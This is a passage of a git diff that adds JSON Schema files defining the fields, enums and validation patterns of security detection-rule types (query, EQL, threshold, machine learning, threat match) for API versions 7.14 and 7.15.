"tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "threat_index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat_indicator_path": { + "type": "string" + }, + "threat_language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "threat_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "entries": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "type": { + "enum": [ + "mapping" + ], + "type": "string" + }, + "value": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + } + }, + "required": [ + "field", + "type", + "value" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "entries" + ], + "type": "object" + }, + "type": "array" + }, + "threat_query": { + "type": "string" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threat_match" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threat_index", + "threat_mapping", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.14/7.14.threshold.json b/etc/api_schemas/7.14/7.14.threshold.json new file mode 100644 index 000000000..a1dee6fb7 --- /dev/null +++ b/etc/api_schemas/7.14/7.14.threshold.json @@ -0,0 +1,384 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": "string" + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": "string" + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "cardinality": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "type": "array" + }, + "field": { + "description": "CardinalityFields", + "items": { + "description": "NonEmptyStr", + "minLength": 1, + "type": "string" + }, + "maxItems": 3, + "type": "array" + }, + "value": { + "description": "ThresholdValue", + "format": "integer", + "minimum": 1, + "type": "number" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "threshold", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.15/7.15.base.json b/etc/api_schemas/7.15/7.15.base.json new file mode 100644 index 000000000..edf996886 --- /dev/null +++ b/etc/api_schemas/7.15/7.15.base.json @@ -0,0 +1,334 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query", + "saved_query", + "machine_learning", + "eql", + "threshold", + "threat_match" + ], + "enumNames": [], + "type": "string" + } + }, + "required": [ + "author", + "description", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.15/7.15.eql.json b/etc/api_schemas/7.15/7.15.eql.json new file mode 100644 index 000000000..508abfda9 --- /dev/null +++ b/etc/api_schemas/7.15/7.15.eql.json @@ -0,0 +1,345 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.15/7.15.machine_learning.json b/etc/api_schemas/7.15/7.15.machine_learning.json new file mode 100644 index 000000000..21258afc6 --- /dev/null +++ b/etc/api_schemas/7.15/7.15.machine_learning.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "anomaly_threshold": { + "format": "integer", + "type": "number" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "type": "string" + }, + "machine_learning_job_id": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "type": "array" + } + ] + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "machine_learning" + ], + "type": "string" + } + }, + "required": [ + "anomaly_threshold", + "author", + "description", + "machine_learning_job_id", + "name", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.15/7.15.query.json b/etc/api_schemas/7.15/7.15.query.json new file mode 100644 index 000000000..278867840 --- /dev/null +++ b/etc/api_schemas/7.15/7.15.query.json @@ -0,0 +1,347 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "description": "TimelineTemplateId", + "enum": [ + "db366523-f1c6-4c1f-8731-6ce5ed9e5717", + "91832785-286d-4ebe-b884-1a208d111a70", + "76e52245-7519-4251-91ab-262fb1a1728c", + "495ad7a7-316e-4544-8a0f-9c098daee76e" + ], + "enumNames": [], + "type": "string" + }, + "timeline_title": { + "description": "TimelineTemplateTitle", + "enum": [ + "Generic Endpoint Timeline", + "Generic Network Timeline", + "Generic Process Timeline", + "Generic Threat Match Timeline" + ], + "enumNames": [], + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "type": "string" + }, + "type": { + "enum": [ + "query" + ], + "type": "string" + } + }, + "required": [ + "author", + "description", + "language", + "name", + "query", + "risk_score", + "rule_id", + "severity", + "type" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.15/7.15.threat_match.json b/etc/api_schemas/7.15/7.15.threat_match.json new file mode 100644 index 000000000..3cfd48f6c --- /dev/null +++ b/etc/api_schemas/7.15/7.15.threat_match.json @@ -0,0 +1,438 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "author": { + "items": { + "type": "string" + }, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "concurrent_searches": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "description": { + "type": "string" + }, + "enabled": { + "type": "boolean" + }, + "exceptions_list": { + "items": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "description": "Interval", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "items_per_search": { + "description": "PositiveInteger", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "language": { + "enum": [ + "kuery", + "lucene" + ], + "enumNames": [], + "type": "string" + }, + "license": { + "type": "string" + }, + "max_signals": { + "description": "MaxSignals", + "format": "integer", + "minimum": 1, + "type": "number" + }, + "meta": { + "additionalProperties": { + "type": [ + "string", + "number", + "object", + "array", + "boolean" + ] + }, + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "description": "MarkdownField", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "description": "MaxSignals", + "format": "integer", + "maximum": 100, + "minimum": 1, + "type": "number" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "rule_id": { + "description": "UUIDString", + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "enumNames": [], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "enum": [ + "MITRE ATT&CK" + ], + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TacticURL", + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "TechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "description": "SubTechniqueURL", + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "threat_filters": { + "items": { + "additionalProperties": { + "type": [ + "string", + 